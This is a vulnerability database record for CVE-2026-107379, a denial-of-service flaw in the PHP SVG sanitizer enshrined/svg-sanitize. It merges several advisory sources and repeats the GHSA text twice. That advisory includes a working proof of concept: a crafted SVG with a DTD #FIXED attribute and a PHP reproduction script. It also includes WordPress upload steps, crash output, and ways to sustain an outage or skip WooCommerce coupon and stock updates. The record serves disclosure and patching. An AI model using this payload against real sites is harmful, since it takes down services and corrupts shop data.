{"id":"CVE-2026-107379","aliases":["CLSA-2026-1791988717","EUVD-2026-95136","GHSA-v383-3rw5-q8rf"],"status":"published","title":"enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00525,"percentile":0.45028,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-10-08T18:04:42Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"Packagist","package":"enshrined/svg-sanitize","fixed_in":["1.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.22.0"},{"fixed":"1.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.16.0"},{"fixed":"0.16.0-p2+tuxcare"}]}],"versions":["0.16.0","0.16.0-p1+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.2.1","0.20.0","0.21.0","0.22.0","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.5.3.1","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"darylldoyle","product":"svg-sanitizer"}],"references":[{"url":"https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107379","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v383-3rw5-q8rf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107379.json","tags":["advisory"]},{"url":"https://github.com/darylldoyle/svg-sanitizer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107379","title":"enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:04:42.293Z","modified":"2026-10-09T11:43:37.808Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T13:45:25.313702Z"}],"euvd":[{"id":"EUVD-2026-95136","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:04:42Z","modified":"2026-10-09T11:43:37Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T17:27:25.459601Z"}],"ghsa":[{"id":"GHSA-v383-3rw5-q8rf","title":"enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash","description":"## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n  → startClean() → cleanAttributesOnWhitelist($svgElement)\n    → \"badhref\" NOT in allowedAttrs\n    → removeAttribute(\"badhref\")          ← removes explicit attribute (safe)\n    → stripos(\"badhref\", \"href\") = TRUE\n    → getAttribute(\"badhref\")             ← returns DTD #FIXED default value\n    → isHrefSafeValue(\"javascript:x\")    ← returns FALSE\n    → removeAttribute(\"badhref\")          ← hits XML_ATTRIBUTE_DECL → CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG → WordPress wp_handle_upload()\n  → filter 'wp_handle_upload_prefilter'\n  → SafeSvg\\safe_svg::check_for_svg()        [safe-svg.php:176]\n  → SafeSvg\\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]\n  → enshrined\\Sanitizer::sanitize($contents)   [Sanitizer.php:193]\n  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH\n  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE svg [\n  \u003c!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\"\u003e\n]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\"\u003e\n  \u003crect width=\"100\" height=\"100\" fill=\"red\"/\u003e\n\u003c/svg\u003e\n```\n\n### Standalone reproduction\n\n```php\n\u003c?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('evil.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author → Media → Add New → upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace('/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si', '', $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**","status":"published","published":"2026-10-08T19:41:05Z","modified":"2026-10-08T19:41:06Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107379","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:17:23.603Z","modified":"2026-10-09T12:17:08.27Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:55.142936Z"}],"osv":[{"id":"CVE-2026-107379","title":"enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer allows a crafted SVG DTD with a #FIXED attribute default to make cleanAttributesOnWhitelist() perform a double DOMElement::removeAttribute() call on the same attribute name in src/Sanitizer.php. The first removal deletes the explicit attribute, while the DTD default rematerializes the value before the href safety path performs the second removal, which can corrupt libxml state and terminate the PHP worker. An attacker who can submit SVG content to a sanitization endpoint can repeatedly interrupt workers and degrade or exhaust application availability. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:04:42.293Z","modified":"2026-10-28T02:31:08.504886089Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-v383-3rw5-q8rf","title":"enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash","description":"## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n  → startClean() → cleanAttributesOnWhitelist($svgElement)\n    → \"badhref\" NOT in allowedAttrs\n    → removeAttribute(\"badhref\")          ← removes explicit attribute (safe)\n    → stripos(\"badhref\", \"href\") = TRUE\n    → getAttribute(\"badhref\")             ← returns DTD #FIXED default value\n    → isHrefSafeValue(\"javascript:x\")    ← returns FALSE\n    → removeAttribute(\"badhref\")          ← hits XML_ATTRIBUTE_DECL → CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG → WordPress wp_handle_upload()\n  → filter 'wp_handle_upload_prefilter'\n  → SafeSvg\\safe_svg::check_for_svg()        [safe-svg.php:176]\n  → SafeSvg\\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]\n  → enshrined\\Sanitizer::sanitize($contents)   [Sanitizer.php:193]\n  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH\n  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE svg [\n  \u003c!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\"\u003e\n]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\"\u003e\n  \u003crect width=\"100\" height=\"100\" fill=\"red\"/\u003e\n\u003c/svg\u003e\n```\n\n### Standalone reproduction\n\n```php\n\u003c?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('evil.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author → Media → Add New → upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace('/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si', '', $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**","status":"published","published":"2026-10-08T19:41:05Z","modified":"2026-10-08T20:00:06.561710993Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"CLSA-2026-1791988717","title":"TuxCare security update for enshrined/svg-sanitize (3 CVEs)","description":"TuxCare rebuilt enshrined/svg-sanitize to address 3 CVEs. Fixed in 0.16.0-p2+tuxcare.","status":"published","published":"2026-10-14T14:38:37Z","modified":"2026-10-15T09:48:04.810311776Z","updated_at":"2026-11-02T15:43:50.599064Z"}]}}